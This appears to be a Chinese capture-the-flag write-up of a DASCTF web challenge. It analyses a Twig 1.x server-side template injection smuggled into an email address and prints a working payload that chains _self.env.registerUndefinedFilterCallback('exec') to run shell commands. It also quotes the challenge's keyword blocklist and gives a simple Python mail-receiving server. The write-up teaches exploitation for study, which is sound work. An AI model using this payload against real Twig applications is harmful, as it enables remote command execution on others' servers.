前言
在上周末刚刚结束的安恒6月赛DASCTF中,有一道web题涉及 Twig 模板注入,而两个月前的 volgactf 也涉及了同样的内容,但所使用的版本不同。本文通过CTF题的解法来分析 Twig 模板注入的利用方式
Subscribe@DASCTF
这是一道白盒代码审计题,给出的源码如下(作者注:本题目是基于Twig 1.x版本)
<?php
require_once "mail/smtp.class.php";
require_once "mail/smtp.send.php";
require_once "libs/common.func.php";
include 'vendor/twig/twig/lib/Twig/Autoloader.php';
function mailCheck($s) {
if (preg_match('/\\\|\/|\~|&|\^|\`|\*|\?/i',$s))
{
alertMes('damn hacker!', './index.php');
return false;
}
if (!preg_match('/libs|smtp|curl|dev|index\.php|ftp|backdoor|sh/i', $s) )
{
if ( preg_match_all('/@/', $s) === 1 )
{
$arr = explode('@',$s);
$domain = end($arr);
if (!preg_match('/[^a-z0-9._-]/i', $domain))
{
return true;
}
}
}
return false;
}
function alertMes($mes, $url)
{
echo "<script>
alert('{$mes}');
location.href='{$url}';
</script>";
die;
}
$smtpEmailTo = $_POST['toemail'];
if (!mailCheck($smtpEmailTo))
{
alertMes("hacker", "/index.php"); //die;
}
//为了减少邮件服务器压力,任何fuzz都请带上$_POST['test'] 请充分测试后再订阅并发邮件,如果检测到某个用户频繁无脑发邮件会被封禁。
if (isset($_POST['test']))
{
user_are_fuzzing_and_smtp_server_wont_send_email();
die;
}
//do not trick
Twig_Autoloader::register();
$loader = new Twig_Loader_String()
$twig = new Twig_Environment($loader);
$yourName = pos(explode( '@', $smtpEmailTo));
$content = @$twig->render($yourName);
$mailcontent = "<h1>Hello <font color=red>".$content."</font><br>Welcome to DASCTF June, Have FUN!</h1>";
$smtp = new Smtp($smtpserver, $smtpserverport, true, $smtpuser, $smtppass);
$smtp->debug = false;
$state = $smtp->sendmail($smtpEmailTo, $smtpusermail, $mailtitle, $mailContent, $mailtype);
/* flag is in flag.php */
首先我们分析本题目代码逻辑,由用户传入一个Email地址,服务器端从用户输入的Email地址中提取用户名传入Twig模板,渲染一封包含用户名的邮件发送至该Email地址。
利用点在提取用户名并渲染的逻辑中,我们可以看到 $yourname
是提取 $smtpEmailTo
中 @前面的值,既用户名,然后在 $content = @$twig->render($yourName);
中将用户名直接传入Twig 模板渲染执行。由于 $yourName
是由用户输入,完全可控。
然后我们看 mailCheck
函数中的过滤规则,两个if判断逻辑过滤了几种特殊符号和关键字,并没有过滤花括号{}和一些其他关键类名,所以我们可以构造形如 {{7*7}}@yourmail.com
的Email地址传入进行SSTI。
payload分析
本题所用payload
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("a=cat;b=flag.php;$a $b")}}@yourmail.com
_self
_self在Twig框架中是一个特殊全局变量,会返回当前 \Twig\Template
实例,可以继续调用实例中的方法,相关代码位src/Node/Expression/NameExpression.php
class NameExpression extends AbstractExpression
{
protected $specialVars = [
'_self' => '$this',
'_context' => '$context',
'_charset' => '$this->env->getCharset()',
];
…………省略其他代码……………
注意因为本题目中使用Twig 1.x版本,所以此方法有效,在后续的2.x 和 3.x 版本中,这一变量只能返回当前实例名字符串
class NameExpression extends AbstractExpression
{
private $specialVars = [
'_self' => '$this->getTemplateName()',
'_context' => '$context',
'_charset' => '$this->env->getCharset()',
];
…………省略其他代码……………
官方文档https://twig.symfony.com/doc/1.x/deprecated.html#globals
registerUndefinedFilterCallback 和 getFilter
这两个函数都位于 src/Environment.php
public function getFilter($name)
{
if (!$this->extensionInitialized) {
$this->initExtensions();
}
if (isset($this->filters[$name])) {
return $this->filters[$name];
}
foreach ($this->filters as $pattern => $filter) {
$pattern = str_replace('\\*', '(.*?)', preg_quote($pattern, '#'), $count);
if ($count) {
if (preg_match('#^'.$pattern.'$#', $name, $matches)) {
array_shift($matches);
$filter->setArguments($matches);
return $filter;
}
}
}
foreach ($this->filterCallbacks as $callback) {
if (false !== $filter = \call_user_func($callback, $name)) {
return $filter;
}
}
return false;
}
public function registerUndefinedFilterCallback($callable)
{
$this->filterCallbacks[] = $callable;
}
registerUndefinedFilterCallback("exec")
将 exec
传入到全局数组 filterCallbacks[]
中,getFilter("a=cat;b=flag.php;$a $b")
将 "a=cat;b=flag.php;$a $b"
传入 $name
call_user_func
最终的命令执行点在foreach
中的 call_user_func
$callback
为数组中的值,此处为 exec
,所以此处 call_user_func
执行的是
call_user_func("exec", "a=cat;b=flag.php;$a $b")
达到了最终执行命令的目的
还要个邮件服务器
对于本CTF题,我们还需要通过该地址接收邮件才能看到回显的flag,而一般的邮件服务提供商基本不允许用户名中存在特殊符号,所以我们在vps上用python临时搭建一个邮件服务器,并将域名MX记录解析到vps上。这是一个python邮件服务器的简易脚本
from __future__ import print_function
from datetime import datetime
import asyncore
from smtpd import SMTPServer
class EmlServer(SMTPServer):
no = 0
def process_message(self, peer, mailfrom, rcpttos, data, mail_options=None,rcpt_options=None):
filename = '%s-%d.eml' % (datetime.now().strftime('%Y%m%d%H%M%S'),
self.no)
f = open(filename, 'wb')
print(data)
f.write(data)
f.close
print('%s saved.' % filename)
self.no += 1
def run():
foo = EmlServer(('0.0.0.0', 25), None)
try:
asyncore.loop()
except KeyboardInterrupt:
pass
if __name__ == '__main__':
run()
结语
本题是基于Twig 1.x开发,payload中所使用的_self
变量在之后的版本已经弃用。在之后的文章我们将分享Twig 2.x & 3.x SSTI利用方式。
求👍求转求点在看
长按图片关注公众号